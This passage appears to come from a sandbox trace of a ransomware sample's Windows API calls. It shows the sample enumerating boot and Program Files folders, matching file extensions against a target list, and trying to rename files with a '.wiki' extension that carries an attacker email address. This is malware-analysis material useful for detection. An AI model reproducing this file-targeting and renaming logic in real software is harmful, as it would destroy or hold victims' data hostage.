(lpString=".bz2") returned 4 [0148.093] lstrcmpiW (lpString1=".bz2", lpString2=".mui") returned -1 [0148.093] lstrlenW (lpString=".7z") returned 3 [0148.093] lstrcmpiW (lpString1=".7z", lpString2="mui") returned -1 [0148.093] lstrlenW (lpString="C:\\Boot\\hu-HU\\bootmgr.exe.mui") returned 29 [0148.093] lstrlenW (lpString=".dbf") returned 4 [0148.093] lstrcmpiW (lpString1=".dbf", lpString2=".mui") returned -1 [0148.093] lstrlenW (lpString="C:\\Boot\\hu-HU\\bootmgr.exe.mui") returned 29 [0148.093] lstrlenW (lpString=".1cd") returned 4 [0148.093] lstrcmpiW (lpString1=".1cd", lpString2=".mui") returned -1 [0148.093] lstrlenW (lpString="C:\\Boot\\hu-HU\\bootmgr.exe.mui") returned 29 [0148.093] lstrlenW (lpString=".jpg") returned 4 [0148.093] lstrcmpiW (lpString1=".jpg", lpString2=".mui") returned -1 [0148.093] lstrlenW (lpString="C:\\Boot\\hu-HU\\bootmgr.exe.mui") returned 29 [0148.093] lstrlenW (lpString="C:\\Boot\\hu-HU\\bootmgr.exe.mui") returned 29 [0148.093] lstrlenW (lpString=".doc") returned 4 [0148.094] lstrcmpiW (lpString1=".doc", lpString2=".mui") returned -1 [0148.094] lstrlenW (lpString=".docx") returned 5 [0148.094] lstrcmpiW (lpString1=".docx", lpString2="e.mui") returned -1 [0148.094] lstrlenW (lpString=".pdf") returned 4 [0148.094] lstrcmpiW (lpString1=".pdf", lpString2=".mui") returned 1 [0148.094] lstrlenW (lpString=".xls") returned 4 [0148.094] lstrcmpiW (lpString1=".xls", lpString2=".mui") returned 1 [0148.094] lstrlenW (lpString=".xlsx") returned 5 [0148.094] lstrcmpiW (lpString1=".xlsx", lpString2="e.mui") returned -1 [0148.094] lstrlenW (lpString=".ppt") returned 4 [0148.094] lstrcmpiW (lpString1=".ppt", lpString2=".mui") returned 1 [0148.094] lstrlenW (lpString="C:\\Boot\\hu-HU\\bootmgr.exe.mui") returned 29 [0148.094] lstrlenW (lpString=".zip") returned 4 [0148.094] lstrcmpiW (lpString1=".zip", lpString2=".mui") returned 1 [0148.094] lstrlenW (lpString=".rar") returned 4 [0148.094] lstrcmpiW (lpString1=".rar", lpString2=".mui") returned 1 [0148.094] lstrlenW (lpString=".bz2") returned 4 [0148.094] lstrcmpiW (lpString1=".bz2", lpString2=".mui") returned -1 [0148.094] lstrlenW (lpString=".7z") returned 3 [0148.094] lstrcmpiW (lpString1=".7z", lpString2="mui") returned -1 [0148.094] lstrlenW (lpString="C:\\Boot\\hu-HU\\bootmgr.exe.mui") returned 29 [0148.094] lstrlenW (lpString=".dbf") returned 4 [0148.094] lstrcmpiW (lpString1=".dbf", lpString2=".mui") returned -1 [0148.094] lstrlenW (lpString="C:\\Boot\\hu-HU\\bootmgr.exe.mui") returned 29 [0148.094] lstrlenW (lpString=".1cd") returned 4 [0148.094] lstrcmpiW (lpString1=".1cd", lpString2=".mui") returned -1 [0148.094] lstrlenW (lpString="C:\\Boot\\hu-HU\\bootmgr.exe.mui") returned 29 [0148.094] lstrlenW (lpString=".jpg") returned 4 [0148.094] lstrcmpiW (lpString1=".jpg", lpString2=".mui") returned -1 [0148.095] lstrcmpiW (lpString1=".mui", lpString2=".wiki") returned -1 [0148.095] lstrlenW (lpString="bootmgr.exe.mui") returned 15 [0148.095] CreateFileW (lpFileName="C:\\Boot\\it-IT\\bootmgr.exe.mui" (normalized: "c:\\boot\\it-it\\bootmgr.exe.mui"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1cc [0148.095] GetFileSizeEx (in: hFile=0x1cc, lpFileSize=0x351ff1c | out: lpFileSize=0x351ff1c*=90704) returned 1 [0148.095] CloseHandle (hObject=0x1cc) returned 1 [0148.095] GetFileAttributesW (lpFileName="C:\\Boot\\it-IT\\bootmgr.exe.mui" (normalized: "c:\\boot\\it-it\\bootmgr.exe.mui")) returned 0x20 [0148.095] GetFileAttributesW (lpFileName="C:\\Boot\\it-IT\\bootmgr.exe.mui.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\boot\\it-it\\bootmgr.exe.mui.id-9c354b42.[bitlocker@foxmail.com ].wiki")) returned 0xffffffff [0148.095] CreateFileW (lpFileName="C:\\Boot\\it-IT\\bootmgr.exe.mui" (normalized: "c:\\boot\\it-it\\bootmgr.exe.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0148.095] lstrlenW (lpString="C:\\Boot\\it-IT\\bootmgr.exe.mui") returned 29 [0148.095] lstrlenW (lpString="C:\\Boot\\it-IT\\bootmgr.exe.mui") returned 29 [0148.095] lstrlenW (lpString=".doc") returned 4 [0148.095] lstrcmpiW (lpString1=".doc", lpString2=".mui") returned -1 [0148.095] lstrlenW (lpString=".docx") returned 5 [0148.095] lstrcmpiW (lpString1=".docx", lpString2="e.mui") returned -1 [0148.095] lstrlenW (lpString=".pdf") returned 4 [0148.095] lstrcmpiW (lpString1=".pdf", lpString2=".mui") returned 1 [0148.095] lstrlenW (lpString=".xls") returned 4 [0148.095] lstrcmpiW (lpString1=".xls", lpString2=".mui") returned 1 [0148.095] lstrlenW (lpString=".xlsx") returned 5 [0148.095] lstrcmpiW (lpString1=".xlsx", lpString2="e.mui") returned -1 [0148.096] lstrlenW (lpString=".ppt") returned 4 [0148.096] lstrcmpiW (lpString1=".ppt", lpString2=".mui") returned 1 [0148.096] lstrlenW (lpString="C:\\Boot\\it-IT\\bootmgr.exe.mui") returned 29 [0148.096] lstrlenW (lpString=".zip") returned 4 [0148.096] lstrcmpiW (lpString1=".zip", lpString2=".mui") returned 1 [0148.096] lstrlenW (lpString=".rar") returned 4 [0148.096] lstrcmpiW (lpString1=".rar", lpString2=".mui") returned 1 [0148.096] lstrlenW (lpString=".bz2") returned 4 [0148.096] lstrcmpiW (lpString1=".bz2", lpString2=".mui") returned -1 [0148.096] lstrlenW (lpString=".7z") returned 3 [0148.096] lstrcmpiW (lpString1=".7z", lpString2="mui") returned -1 [0148.096] lstrlenW (lpString="C:\\Boot\\it-IT\\bootmgr.exe.mui") returned 29 [0148.096] lstrlenW (lpString=".dbf") returned 4 [0148.096] lstrcmpiW (lpString1=".dbf", lpString2=".mui") returned -1 [0148.096] lstrlenW (lpString="C:\\Boot\\it-IT\\bootmgr.exe.mui") returned 29 [0148.096] lstrlenW (lpString=".1cd") returned 4 [0148.096] lstrcmpiW (lpString1=".1cd", lpString2=".mui") returned -1 [0148.096] lstrlenW (lpString="C:\\Boot\\it-IT\\bootmgr.exe.mui") returned 29 [0148.096] lstrlenW (lpString=".jpg") returned 4 [0148.096] lstrcmpiW (lpString1=".jpg", lpString2=".mui") returned -1 [0148.096] lstrlenW (lpString="C:\\Boot\\it-IT\\bootmgr.exe.mui") returned 29 [0148.096] lstrlenW (lpString="C:\\Boot\\it-IT\\bootmgr.exe.mui") returned 29 [0148.096] lstrlenW (lpString=".doc") returned 4 [0148.096] lstrcmpiW (lpString1=".doc", lpString2=".mui") returned -1 [0148.096] lstrlenW (lpString=".docx") returned 5 [0148.096] lstrcmpiW (lpString1=".docx", lpString2="e.mui") returned -1 [0148.096] lstrlenW (lpString=".pdf") returned 4 [0148.096] lstrcmpiW (lpString1=".pdf", lpString2=".mui") returned 1 [0148.096] lstrlenW (lpString=".xls") returned 4 [0148.096] lstrcmpiW (lpString1=".xls", lpString2=".mui") returned 1 [0148.096] lstrlenW (lpString=".xlsx") returned 5 [0148.096] lstrcmpiW (lpString1=".xlsx", lpString2="e.mui") returned -1 [0148.097] lstrlenW (lpString=".ppt") returned 4 [0148.097] lstrcmpiW (lpString1=".ppt", lpString2=".mui") returned 1 [0148.097] lstrlenW (lpString="C:\\Boot\\it-IT\\bootmgr.exe.mui") returned 29 [0148.097] lstrlenW (lpString=".zip") returned 4 [0148.097] lstrcmpiW (lpString1=".zip", lpString2=".mui") returned 1 [0148.097] lstrlenW (lpString=".rar") returned 4 [0148.097] lstrcmpiW (lpString1=".rar", lpString2=".mui") returned 1 [0148.097] lstrlenW (lpString=".bz2") returned 4 [0148.097] lstrcmpiW (lpString1=".bz2", lpString2=".mui") returned -1 [0148.097] lstrlenW (lpString=".7z") returned 3 [0148.097] lstrcmpiW (lpString1=".7z", lpString2="mui") returned -1 [0148.097] lstrlenW (lpString="C:\\Boot\\it-IT\\bootmgr.exe.mui") returned 29 [0148.097] lstrlenW (lpString=".dbf") returned 4 [0148.097] lstrcmpiW (lpString1=".dbf", lpString2=".mui") returned -1 [0148.097] lstrlenW (lpString="C:\\Boot\\it-IT\\bootmgr.exe.mui") returned 29 [0148.097] lstrlenW (lpString=".1cd") returned 4 [0148.097] lstrcmpiW (lpString1=".1cd", lpString2=".mui") returned -1 [0148.097] lstrlenW (lpString="C:\\Boot\\it-IT\\bootmgr.exe.mui") returned 29 [0148.097] lstrlenW (lpString=".jpg") returned 4 [0148.097] lstrcmpiW (lpString1=".jpg", lpString2=".mui") returned -1 [0148.097] lstrcmpiW (lpString1=".mui", lpString2=".wiki") returned -1 [0148.097] lstrlenW (lpString="bootmgr.exe.mui") returned 15 [0148.097] CreateFileW (lpFileName="C:\\Boot\\ja-JP\\bootmgr.exe.mui" (normalized: "c:\\boot\\ja-jp\\bootmgr.exe.mui"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1cc [0148.098] GetFileSizeEx (in: hFile=0x1cc, lpFileSize=0x351ff1c | out: lpFileSize=0x351ff1c*=76352) returned 1 [0148.098] CloseHandle (hObject=0x1cc) returned 1 [0148.098] GetFileAttributesW (lpFileName="C:\\Boot\\ja-JP\\bootmgr.exe.mui" (normalized: "c:\\boot\\ja-jp\\bootmgr.exe.mui")) returned 0x20 [0148.098] GetFileAttributesW (lpFileName="C:\\Boot\\ja-JP\\bootmgr.exe.mui.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\boot\\ja-jp\\bootmgr.exe.mui.id-9c354b42.[bitlocker@foxmail.com ].wiki")) returned 0xffffffff [0148.098] CreateFileW (lpFileName="C:\\Boot\\ja-JP\\bootmgr.exe.mui" (normalized: "c:\\boot\\ja-jp\\bootmgr.exe.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0148.098] lstrlenW (lpString="C:\\Boot\\ja-JP\\bootmgr.exe.mui") returned 29 [0148.098] lstrlenW (lpString="C:\\Boot\\ja-JP\\bootmgr.exe.mui") returned 29 [0148.098] lstrlenW (lpString=".doc") returned 4 [0148.098] lstrcmpiW (lpString1=".doc", lpString2=".mui") returned -1 [0148.098] lstrlenW (lpString=".docx") returned 5 [0148.098] lstrcmpiW (lpString1=".docx", lpString2="e.mui") returned -1 [0148.098] lstrlenW (lpString=".pdf") returned 4 [0148.098] lstrcmpiW (lpString1=".pdf", lpString2=".mui") returned 1 [0148.098] lstrlenW (lpString=".xls") returned 4 [0148.098] lstrcmpiW (lpString1=".xls", lpString2=".mui") returned 1 [0148.098] lstrlenW (lpString=".xlsx") returned 5 [0148.098] lstrcmpiW (lpString1=".xlsx", lpString2="e.mui") returned -1 [0148.098] lstrlenW (lpString=".ppt") returned 4 [0148.098] lstrcmpiW (lpString1=".ppt", lpString2=".mui") returned 1 [0148.098] lstrlenW (lpString="C:\\Boot\\ja-JP\\bootmgr.exe.mui") returned 29 [0148.098] lstrlenW (lpString=".zip") returned 4 [0148.098] lstrcmpiW (lpString1=".zip", lpString2=".mui") returned 1 [0148.098] lstrlenW (lpString=".rar") returned 4 [0148.098] lstrcmpiW (lpString1=".rar", lpString2=".mui") returned 1 [0148.098] lstrlenW (lpString=".bz2") returned 4 [0148.099] lstrcmpiW (lpString1=".bz2", lpString2=".mui") returned -1 [0148.099] lstrlenW (lpString=".7z") returned 3 [0148.099] lstrcmpiW (lpString1=".7z", lpString2="mui") returned -1 [0148.099] lstrlenW (lpString="C:\\Boot\\ja-JP\\bootmgr.exe.mui") returned 29 [0148.099] lstrlenW (lpString=".dbf") returned 4 [0148.099] lstrcmpiW (lpString1=".dbf", lpString2=".mui") returned -1 [0148.099] lstrlenW (lpString="C:\\Boot\\ja-JP\\bootmgr.exe.mui") returned 29 [0148.099] lstrlenW (lpString=".1cd") returned 4 [0148.099] lstrcmpiW (lpString1=".1cd", lpString2=".mui") returned -1 [0148.099] lstrlenW (lpString="C:\\Boot\\ja-JP\\bootmgr.exe.mui") returned 29 [0148.099] lstrlenW (lpString=".jpg") returned 4 [0148.099] lstrcmpiW (lpString1=".jpg", lpString2=".mui") returned -1 [0148.099] lstrlenW (lpString="C:\\Boot\\ja-JP\\bootmgr.exe.mui") returned 29 [0148.099] lstrlenW (lpString="C:\\Boot\\ja-JP\\bootmgr.exe.mui") returned 29 [0148.099] lstrlenW (lpString=".doc") returned 4 [0148.099] lstrcmpiW (lpString1=".doc", lpString2=".mui") returned -1 [0148.099] lstrlenW (lpString=".docx") returned 5 [0148.099] lstrcmpiW (lpString1=".docx", lpString2="e.mui") returned -1 [0148.099] lstrlenW (lpString=".pdf") returned 4 [0148.099] lstrcmpiW (lpString1=".pdf", lpString2=".mui") returned 1 [0148.099] lstrlenW (lpString=".xls") returned 4 [0148.099] lstrcmpiW (lpString1=".xls", lpString2=".mui") returned 1 [0148.099] lstrlenW (lpString=".xlsx") returned 5 [0148.099] lstrcmpiW (lpString1=".xlsx", lpString2="e.mui") returned -1 [0148.099] lstrlenW (lpString=".ppt") returned 4 [0148.099] lstrcmpiW (lpString1=".ppt", lpString2=".mui") returned 1 [0148.099] lstrlenW (lpString="C:\\Boot\\ja-JP\\bootmgr.exe.mui") returned 29 [0148.099] lstrlenW (lpString=".zip") returned 4 [0148.099] lstrcmpiW (lpString1=".zip", lpString2=".mui") returned 1 [0148.100] lstrlenW (lpString=".rar") returned 4 [0148.100] lstrcmpiW (lpString1=".rar", lpString2=".mui") returned 1 [0148.100] lstrlenW (lpString=".bz2") returned 4 [0148.100] lstrcmpiW (lpString1=".bz2", lpString2=".mui") returned -1 [0148.100] lstrlenW (lpString=".7z") returned 3 [0148.100] lstrcmpiW (lpString1=".7z", lpString2="mui") returned -1 [0148.100] lstrlenW (lpString="C:\\Boot\\ja-JP\\bootmgr.exe.mui") returned 29 [0148.100] lstrlenW (lpString=".dbf") returned 4 [0148.100] lstrcmpiW (lpString1=".dbf", lpString2=".mui") returned -1 [0148.100] lstrlenW (lpString="C:\\Boot\\ja-JP\\bootmgr.exe.mui") returned 29 [0148.100] lstrlenW (lpString=".1cd") returned 4 [0148.100] lstrcmpiW (lpString1=".1cd", lpString2=".mui") returned -1 [0148.100] lstrlenW (lpString="C:\\Boot\\ja-JP\\bootmgr.exe.mui") returned 29 [0148.100] lstrlenW (lpString=".jpg") returned 4 [0148.100] lstrcmpiW (lpString1=".jpg", lpString2=".mui") returned -1 [0148.100] lstrcmpiW (lpString1=".mui", lpString2=".wiki") returned -1 [0148.100] lstrlenW (lpString="bootmgr.exe.mui") returned 15 [0148.100] CreateFileW (lpFileName="C:\\Boot\\ko-KR\\bootmgr.exe.mui" (normalized: "c:\\boot\\ko-kr\\bootmgr.exe.mui"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1cc [0148.100] GetFileSizeEx (in: hFile=0x1cc, lpFileSize=0x351ff1c | out: lpFileSize=0x351ff1c*=75344) returned 1 [0148.101] CloseHandle (hObject=0x1cc) returned 1 [0148.101] GetFileAttributesW (lpFileName="C:\\Boot\\ko-KR\\bootmgr.exe.mui" (normalized: "c:\\boot\\ko-kr\\bootmgr.exe.mui")) returned 0x20 [0148.101] GetFileAttributesW (lpFileName="C:\\Boot\\ko-KR\\bootmgr.exe.mui.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\boot\\ko-kr\\bootmgr.exe.mui.id-9c354b42.[bitlocker@foxmail.com ].wiki")) returned 0xffffffff [0148.101] CreateFileW (lpFileName="C:\\Boot\\ko-KR\\bootmgr.exe.mui" (normalized: "c:\\boot\\ko-kr\\bootmgr.exe.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0148.101] lstrlenW (lpString="C:\\Boot\\ko-KR\\bootmgr.exe.mui") returned 29 [0148.101] lstrlenW (lpString="C:\\Boot\\ko-KR\\bootmgr.exe.mui") returned 29 [0148.101] lstrlenW (lpString=".doc") returned 4 [0148.101] lstrcmpiW (lpString1=".doc", lpString2=".mui") returned -1 [0148.101] lstrlenW (lpString=".docx") returned 5 [0148.101] lstrcmpiW (lpString1=".docx", lpString2="e.mui") returned -1 [0148.101] lstrlenW (lpString=".pdf") returned 4 [0148.101] lstrcmpiW (lpString1=".pdf", lpString2=".mui") returned 1 [0148.101] lstrlenW (lpString=".xls") returned 4 [0148.101] lstrcmpiW (lpString1=".xls", lpString2=".mui") returned 1 [0148.101] lstrlenW (lpString=".xlsx") returned 5 [0148.101] lstrcmpiW (lpString1=".xlsx", lpString2="e.mui") returned -1 [0148.101] lstrlenW (lpString=".ppt") returned 4 [0148.101] lstrcmpiW (lpString1=".ppt", lpString2=".mui") returned 1 [0148.101] lstrlenW (lpString="C:\\Boot\\ko-KR\\bootmgr.exe.mui") returned 29 [0148.101] lstrlenW (lpString=".zip") returned 4 [0148.101] lstrcmpiW (lpString1=".zip", lpString2=".mui") returned 1 [0148.101] lstrlenW (lpString=".rar") returned 4 [0148.101] lstrcmpiW (lpString1=".rar", lpString2=".mui") returned 1 [0148.101] lstrlenW (lpString=".bz2") returned 4 [0148.101] lstrcmpiW (lpString1=".bz2", lpString2=".mui") returned -1 [0148.101] lstrlenW (lpString=".7z") returned 3 [0148.102] lstrcmpiW (lpString1=".7z", lpString2="mui") returned -1 [0148.102] lstrlenW (lpString="C:\\Boot\\ko-KR\\bootmgr.exe.mui") returned 29 [0148.102] lstrlenW (lpString=".dbf") returned 4 [0148.102] lstrcmpiW (lpString1=".dbf", lpString2=".mui") returned -1 [0148.102] lstrlenW (lpString="C:\\Boot\\ko-KR\\bootmgr.exe.mui") returned 29 [0148.102] lstrlenW (lpString=".1cd") returned 4 [0148.102] lstrcmpiW (lpString1=".1cd", lpString2=".mui") returned -1 [0148.102] lstrlenW (lpString="C:\\Boot\\ko-KR\\bootmgr.exe.mui") returned 29 [0148.102] lstrlenW (lpString=".jpg") returned 4 [0148.102] lstrcmpiW (lpString1=".jpg", lpString2=".mui") returned -1 [0148.102] lstrlenW (lpString="C:\\Boot\\ko-KR\\bootmgr.exe.mui") returned 29 [0148.102] lstrlenW (lpString="C:\\Boot\\ko-KR\\bootmgr.exe.mui") returned 29 [0148.102] lstrlenW (lpString=".doc") returned 4 [0148.102] lstrcmpiW (lpString1=".doc", lpString2=".mui") returned -1 [0148.102] lstrlenW (lpString=".docx") returned 5 [0148.102] lstrcmpiW (lpString1=".docx", lpString2="e.mui") returned -1 [0148.102] lstrlenW (lpString=".pdf") returned 4 [0148.102] lstrcmpiW (lpString1=".pdf", lpString2=".mui") returned 1 [0148.102] lstrlenW (lpString=".xls") returned 4 [0148.102] lstrcmpiW (lpString1=".xls", lpString2=".mui") returned 1 [0148.102] lstrlenW (lpString=".xlsx") returned 5 [0148.102] lstrcmpiW (lpString1=".xlsx", lpString2="e.mui") returned -1 [0148.102] lstrlenW (lpString=".ppt") returned 4 [0148.102] lstrcmpiW (lpString1=".ppt", lpString2=".mui") returned 1 [0148.102] lstrlenW (lpString="C:\\Boot\\ko-KR\\bootmgr.exe.mui") returned 29 [0148.102] lstrlenW (lpString=".zip") returned 4 [0148.102] lstrcmpiW (lpString1=".zip", lpString2=".mui") returned 1 [0148.102] lstrlenW (lpString=".rar") returned 4 [0148.102] lstrcmpiW (lpString1=".rar", lpString2=".mui") returned 1 [0148.102] lstrlenW (lpString=".bz2") returned 4 [0148.102] lstrcmpiW (lpString1=".bz2", lpString2=".mui") returned -1 [0148.102] lstrlenW (lpString=".7z") returned 3 [0148.103] lstrcmpiW (lpString1=".7z", lpString2="mui") returned -1 [0148.103] lstrlenW (lpString="C:\\Boot\\ko-KR\\bootmgr.exe.mui") returned 29 [0148.103] lstrlenW (lpString=".dbf") returned 4 [0148.103] lstrcmpiW (lpString1=".dbf", lpString2=".mui") returned -1 [0148.103] lstrlenW (lpString="C:\\Boot\\ko-KR\\bootmgr.exe.mui") returned 29 [0148.103] lstrlenW (lpString=".1cd") returned 4 [0148.103] lstrcmpiW (lpString1=".1cd", lpString2=".mui") returned -1 [0148.103] lstrlenW (lpString="C:\\Boot\\ko-KR\\bootmgr.exe.mui") returned 29 [0148.103] lstrlenW (lpString=".jpg") returned 4 [0148.103] lstrcmpiW (lpString1=".jpg", lpString2=".mui") returned -1 [0148.103] lstrcmpiW (lpString1=".exe", lpString2=".wiki") returned -1 [0148.103] lstrlenW (lpString="memtest.exe") returned 11 [0148.103] CreateFileW (lpFileName="C:\\Boot\\memtest.exe" (normalized: "c:\\boot\\memtest.exe"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1cc [0148.103] GetFileSizeEx (in: hFile=0x1cc, lpFileSize=0x351ff1c | out: lpFileSize=0x351ff1c*=485760) returned 1 [0148.103] CloseHandle (hObject=0x1cc) returned 1 [0148.103] GetFileAttributesW (lpFileName="C:\\Boot\\memtest.exe" (normalized: "c:\\boot\\memtest.exe")) returned 0x20 [0148.103] GetFileAttributesW (lpFileName="C:\\Boot\\memtest.exe.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\boot\\memtest.exe.id-9c354b42.[bitlocker@foxmail.com ].wiki")) returned 0xffffffff [0148.104] CreateFileW (lpFileName="C:\\Boot\\memtest.exe" (normalized: "c:\\boot\\memtest.exe"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0148.104] lstrlenW (lpString="C:\\Boot\\memtest.exe") returned 19 [0148.104] lstrlenW (lpString="C:\\Boot\\memtest.exe") returned 19 [0148.104] lstrlenW (lpString=".doc") returned 4 [0148.104] lstrcmpiW (lpString1=".doc", lpString2=".exe") returned -1 [0148.104] lstrlenW (lpString=".docx") returned 5 [0148.104] lstrcmpiW (lpString1=".docx", lpString2="t.exe") returned -1 [0148.104] lstrlenW (lpString=".pdf") returned 4 [0148.104] lstrcmpiW (lpString1=".pdf", lpString2=".exe") returned 1 [0148.104] lstrlenW (lpString=".xls") returned 4 [0148.104] lstrcmpiW (lpString1=".xls", lpString2=".exe") returned 1 [0148.104] lstrlenW (lpString=".xlsx") returned 5 [0148.104] lstrcmpiW (lpString1=".xlsx", lpString2="t.exe") returned -1 [0148.104] lstrlenW (lpString=".ppt") returned 4 [0148.104] lstrcmpiW (lpString1=".ppt", lpString2=".exe") returned 1 [0148.104] lstrlenW (lpString="C:\\Boot\\memtest.exe") returned 19 [0148.104] lstrlenW (lpString=".zip") returned 4 [0148.104] lstrcmpiW (lpString1=".zip", lpString2=".exe") returned 1 [0148.104] lstrlenW (lpString=".rar") returned 4 [0148.104] lstrcmpiW (lpString1=".rar", lpString2=".exe") returned 1 [0148.104] lstrlenW (lpString=".bz2") returned 4 [0148.104] lstrcmpiW (lpString1=".bz2", lpString2=".exe") returned -1 [0148.104] lstrlenW (lpString=".7z") returned 3 [0148.104] lstrcmpiW (lpString1=".7z", lpString2="exe") returned -1 [0148.460] MoveFileW (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\InkObj.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\inkobj.dll"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\InkObj.dll.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\inkobj.dll.id-9c354b42.[bitlocker@foxmail.com ].wiki")) returned 0 [0148.465] MoveFileW (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\micaut.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\micaut.dll"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\micaut.dll.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\micaut.dll.id-9c354b42.[bitlocker@foxmail.com ].wiki")) returned 0 [0148.466] MoveFileW (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\mraut.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\mraut.dll"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\mraut.dll.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\mraut.dll.id-9c354b42.[bitlocker@foxmail.com ].wiki")) returned 0 [0148.485] MoveFileW (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACECORE.DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\acecore.dll"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACECORE.DLL.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\acecore.dll.id-9c354b42.[bitlocker@foxmail.com ].wiki")) returned 0 [0148.492] MoveFileW (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACEWDAT.DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\acewdat.dll"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACEWDAT.DLL.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\acewdat.dll.id-9c354b42.[bitlocker@foxmail.com ].wiki")) returned 0 [0148.495] MoveFileW (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Csi.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\csi.dll"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Csi.dll.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\csi.dll.id-9c354b42.[bitlocker@foxmail.com ].wiki")) returned 0 [0148.496] MoveFileW (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\CsiSoap.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\csisoap.dll"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\CsiSoap.dll.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\csisoap.dll.id-9c354b42.[bitlocker@foxmail.com ].wiki")) returned 0 [0148.496] MoveFileW (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Cultures\\OFFICE.ODF" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\cultures\\office.odf"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Cultures\\OFFICE.ODF.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\cultures\\office.odf.id-9c354b42.[bitlocker@foxmail.com ].wiki")) returned 0 [0148.500] MoveFileW (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\IACOM2.DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\iacom2.dll"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\IACOM2.DLL.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\iacom2.dll.id-9c354b42.[bitlocker@foxmail.com ].wiki")) returned 0 [0148.502] MoveFileW (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\MSO.DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\mso.dll"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\MSO.DLL.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\mso.dll.id-9c354b42.[bitlocker@foxmail.com ].wiki")) returned 0 [0148.504] MoveFileW (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\MSORES.DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\msores.dll"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\MSORES.DLL.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\msores.dll.id-9c354b42.[bitlocker@foxmail.com ].wiki")) returned 0 [0148.550] MoveFileW (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup 